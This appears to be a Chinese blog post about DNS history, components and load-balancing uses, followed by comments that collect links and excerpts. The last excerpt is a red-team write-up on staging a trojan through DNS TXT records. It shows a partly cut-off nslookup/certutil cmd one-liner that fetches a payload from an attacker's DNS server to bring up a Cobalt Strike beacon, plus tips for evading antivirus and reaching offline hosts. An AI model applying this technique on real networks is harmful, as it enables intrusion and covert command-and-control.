=Start=
缘由:
之前转载了一篇阮一峰大牛写的《DNS原理入门》,详细介绍了DNS的原理,在这里呢,想进一步简单记录一下DNS在互联网架构中所起到的作用。
正文:
参考解答:
#DNS的由来
通常互联网计算机都是通过 IP 地址进行标识和通信的,如 IP 地址 112.45.23.56 ,这样的 IP 地址,人们不容易记忆,因此产生了域名这样的字符型标识。通过域名,我们可以更加方便的记忆一个计算机的地址,如通过 www.fastcp.cn 来记 42.62.101.185 这个 IP 地址。
在 DNS 产生之前,人们是通过 HOSTS.TXT 文件进行域名和 IP 地址之间的映射,但随着网络上主机爆炸性的增长,出现了域名冲突、一致性差、流量和负载过大等问题,无法及时的解析出需要的 IP 地址,1983 年由保罗·莫卡派乔斯(Paul Mockapetris)发明了 DNS 协议,于 1987 年正式发布至 RFC 1034 和 RFC 1035。
DNS(Domain Name System)域名解析系统,是互联网基础资源的核心服务,主要用于承载 IP 地址和互联网域名之间的转换,通过 DNS 能够使人们更方便快捷的访问互联网。DNS 是一个域名分布式的数据库,同时数据库的各个部分可以进行本地控制和访问,如 CN 域名由 CNNIC (中国互联网络信息中心)在进行管理和控制。DNS的产生解决了流量负载大、域名冲突及一致性差等问题,直到当下,DNS 系统依然在各个行业、各种业务中发挥着巨大的作用。
#DNS系统的组成
DNS 系统是为解析域名为 IP 地址而存在的,它是由 域名空间、资源记录、名称服务器、解析器组成。
- 域名空间是包含一个树状结构,用于存储资源记录的空间。
- 资源记录是与域名相关的数据,如 IP 和域名的对应关系等。
- 名称服务器是用于存储 DNS 区(zone)域名空间数据,并处理由解析器发送过来的请求。
- 解析器是用来发送域名解析请求并将结果返回给用户的程序。
当计算机需要解析域名时,计算机通过调用本地解析器进行 DNS 查询。解析器将 DNS 查询请求发送至名称服务器,名称服务器查询区中域名空间中数据,获得需要查询域名的资源记录,并返回给解析器,解析器将返回的结果反馈给计算机或浏览器。
#DNS系统的名称服务器
#DNS的功能和作用
#常规功能
IP和域名之间的转换。
#架构设计中的作用
- DNS轮询,水平扩展反向代理层;
- 智能DNS,根据用户IP来就近访问服务器;
#扩容方案中的作用
scale up扩容方案
- LVS/F5
scale out扩容方案
- DNS
参考链接:
=END=
《 “DNS的由来及其功能和作用” 》 有 8 条评论
DNS 一站到家之历史由来
https://deepzz.com/post/dns-history.html
DNS 一站到家之记录类型
https://deepzz.com/post/dns-recording-type.html
DNS 一站到家之常用工具
https://deepzz.com/post/dns-comman-tools.html
DNS 一站到家之 DNS 消息协议
https://deepzz.com/post/dns-rfc1035.html
DNS 一站到家之 CAA 记录
https://deepzz.com/post/what-is-caa-record-in-dns.html
关于负载均衡的一切
https://mp.weixin.qq.com/s/xvozZjmn-CvmQMAEAyDc3w
详解 DNS 与 CoreDNS 的实现原理
https://blog.didiyun.com/index.php/2019/01/18/dns-coredns/
https://draveness.me/dns-coredns
域名前置(Domain Fronting)技术介绍
https://digi.ninja/blog/domain_fronting.php
使用 CloudFront 进行域名前置(Domain Fronting)
https://digi.ninja/blog/cloudfront_example.php
详解 DNS 与 CoreDNS 的实现原理
https://draveness.me/dns-coredns
为什么 DNS 使用 UDP 协议 · Why’s THE Design?
https://juejin.im/entry/5dd33627f265da0bd820be39
https://draveness.me/whys-the-design-dns-udp-tcp
DNS正向解析分为递归和迭代。 通常是用递归,还是迭代呢?
https://www.zhihu.com/question/53882349
`
递归方式是域名服务器自己无法解析该域名时,服务器自己再去找其他服务器帮忙,而其他服务器也是这样,如果找不到还得找其他服务器帮忙,找到再把结果发给客户端。
迭代方式是域名服务器找不到,但是他直接返回信息给客户端,会给客户端指一条明路,该找谁去解析,但是找还得你自己动手去找。
递归和迭代的区别?
所谓 递归查询过程 就是 “查询的递交者” 更替, 而 迭代查询过程 则是 “查询的递交者” 不变。
`
DNS递归查询与迭代查询
https://www.cnblogs.com/qingdaofu/p/7399670.html
`
主机向本地域名服务器的查询一般都是采用递归查询。
本地域名服务器向根域名服务器的查询的迭代查询。
`
DNS递归和迭代过程详解
https://blog.csdn.net/gui951753/java/article/details/79972709
美国如果把根域名服务器封了,中国会从网络上消失?
https://mp.weixin.qq.com/s/yEklZ9JQ-IlLXSUf8fBdlw
`
自从美国宣布“清洁网络”行动后,很多懂点网络的人,第一反应是,美国人会下手根域名服务器吗?
这种忧虑可不是一年两年了。
2014年6月24日的《人民日报》上引用专家发言:“目前美国掌握着全球互联网13台域名根服务器中的10台。理论上,只要在根服务器上屏蔽该国家域名,就能让这个国家的国家顶级域名网站在网络上瞬间“消失”。在这个意义上,美国具有全球独一无二的制网权,有能力威慑他国的网络边疆和网络主权。譬如,伊拉克战争期间,在美国政府授意下,伊拉克顶级域名“.iq”的申请和解析工作被终止,所有网址以“.iq”为后缀的网站从互联网蒸发。”
《信息安全与通信保密》杂志2014年第10期的一篇文章写道:“2004年,由于与利比亚在顶级域名管理权问题上发生争执,美国终止了利比亚的顶级域名.LY的解析服务,导致利比亚从网络中消失3天。”
对此,我们需要害怕吗?我们需要什么样的反制措施?
不是专家,还真回答不了这个问题。
因为这需要了解DNS的工作原理,了解根域名的管理机制。
这里先给出简要回答:不排除这种可能性,但并不是没有办法。
一句话原因:虽然根不在我们手里,但我们有镜像。
`
远程下载的通用替代方案 | 红队攻防
https://mp.weixin.qq.com/s/Z1zp7klk–uQ1OnzljNESw
`
打了这么多的攻防演练了,很多时候我们可以执行命令了,但是没有回显、也不交互、添加加用户远程桌面没开、想远程下载木马有杀软拦截、循环写入遇到负载均衡、或者目标根本不出网
当然了,一部分兄弟应该是有方法可以上线cs的,比如 certutil 方面的绕过等等吧,但是这些都不是长久之计,杀软随时都有可能把绕过的路堵死,我们是怎么思考这件事的呢?
* 应对杀软问题–我们使用的方法要么是从来没有人用过的,要么就是把系统或者管理人员常用的功能组合起来
* 应对负载均衡–要把传递木马载荷+处理载荷+执行[+清理操作] 做成一个原子操作,也就是成为一个整体,一条命令就结束
* 不出网–利用目标内网DNS或者端口复用
* …
接下来我们将以实现Windows只能执行命令且有杀软条件下的木马载荷传递上线cs为例介绍操作背后的“跨时代意义”的思想
0x01 传递载荷的方式
大家总结的传递载荷的方式一般包括:
* powershell
* certutil
* vbs
* Bitsadmin
* ftp
* tftp
* debug
* msiexec
* mshta
* rundll32
* regsrv32
* …
很多很多方法,但是基本上都被360这类的杀软给特殊照顾了,除非使用新的绕过手法,不然根本行不通
在刚上大学那会儿,打CTF时候遇到过一次签到题考点是 DNS TXT 记录中保存着 flag,那我们是不是可以也通过 DNS TXT 记录进行传递载荷呢?
在几乎所有的 Windows 系统上都有默认的 nslookup 程序,这个程序就是用来做 DNS 解析的,所以我们可以在几乎所有的 Windows 系统上使用 nslookup 来做DNS解析从而获取载荷。这样我们就有了载荷传递的方式。
0x02 处理载荷
获取载荷所在的行——findstr
对载荷进行拼接
编码转换——certutil
0x03 执行二进制程序[+清理操作]
这里清理操作我作为可选择项来进行考虑,因为通过执行二进制程序你已经获取到了一个 shell,这样的话,你可以通过shell来进行清理,所以这里就不进行清理操作了
cmd /v:on /Q /c “set a= && set b= && for /f “tokens=*” %i in (‘nslookup -qt^=TXT http://www.mydomain.com
OK,成功上线 CS
文章到这里可以结束了,但是以我们团队的风格来说,一定要把这其中涉及的知识点和大坑点说清楚
0x04 自建DNS服务器
其实这里涉及两个场景,这也是精彩的地方,但也先不说,我们还是以上面这个案例为主来进行搭建,懂了这个,另一种场景你肯定也会懂的。
我以一个搞安全的角度去说一说DNS这块,上面案例的命令中我们使用 nslookup http://www.mydomain.com 192.168.31.88
其中 192.168.31.88 这个参数就是让系统委托 192.168.31.88(攻击者自己搭建的DNS服务器) 来为 http://www.mydomain.com 进行解析,如果不加这个参数,那么系统会使用自己配置的DNS服务器进行解析,可能是内网DNS服务器、路由器、 8.8.8.8 或者本地运营商DNS等等,企业环境可能就是企业内网中自建的 DNS 服务器
在这种情况下,我们不需要拥有 http://www.mydomain.com 这个域名。简单来想就是目标主机向攻击者DNS服务器发起一个基于UDP 的 DNS 请求,攻击者 DNS服务器想返回什么结果就返回什么结果。这和让目标主机通过浏览器访问攻击者的web服务器情形是一样的,攻击者想返回什么内容就返回什么内容
听到这里你肯定感到了一丝窃喜对吧,你可以让目标主机向你的DNS服务器发起对 baidu.com 的 DNS 解析,对于baidu.com 解析可能在很多安全设备看来无比正常,同时人工排查的时候也很难发现
没错,这种自定义解析连接 C&C 的方式已经被国外部分僵尸网络程序使用了,从而绕过了流量设备的检测,隐藏了真实的IP地址。
0x05 一些大坑问题
TXT 记录长度问题
BIND 服务器超长字符配置方法
UDP 包大小限制
Centos 默认存在防火墙
NAT 模式下虚拟机之间不互通(使用 桥接模式 或者直接使用 VPS 就解决了)
cmd 字符转义问题
cmd 命令中变量值不变的问题
cmd 命令中关闭命令本身 echo
cmd 命令中 for 命令边界问题
……
0x07 为什么说这种思想有“跨时代”意义
吹牛成分较大,但是确确实实解决了一些问题,还可以引出很多的扩展的思考
1. 写文件不怕负载均衡设备了
这个没啥说的,我们把一切变成了原子操作
2. 一定程度上躲避杀软和流量检测
我们可以让目标向我们自己的DNS服务器去解析百度的域名,一定程度上会逃过流量检测
3. 将不出网的主机变成了出网主机
这点很重要,很多目标单位重要系统虽然不出网,但是这些服务器配置了自己的内网DNS服务器,也就是说他们可以主动通过单位内部的DNS服务器连接外部,如果结合今天讨论的方法,我们可以让这个不出网的主机直接执行一个 DNS隧道的木马 或者 让木马做直接做端口复用,这样可以完成反向隧道或者正向连接,形成控制不出网主机的目的
下面我们针对目标系统可以执行命令,但是不出网,目标系统配置了它们单位自己的DNS,可以解析DNS这种情况做一下思路整理:
因为本身不出网,假设 112.112.112.112 是攻击者的DNS服务器 如果我们执行 nslookup -qt=TXT baidu.com 112.112.112.112 这种方式就执行不了了,因为服务器不出网,只能向自己内网配置好的那台DNS服务器发起请求。这个时候我们只能通过买一个域名,之后将域名解析的工作交给 112.112.112.112 来进行攻击
这个请求就变成了:
目标主机 -> 内网DNS -> 根服务器等 -> 112.112.112.112
这样同样可以获取最大 65515 个字符的载荷
之后木马同样通过这种路径与 C&C 进行连接
4. 这种思想几乎适用于所有的系统
这个没啥说的,就是字符处理命令上的不同,Windows、Linux、Mac、AIX等
5. 这里只是利用了DNS协议和nslookup,其他呢?
这里留白,留给更多愿意思考的安全人
`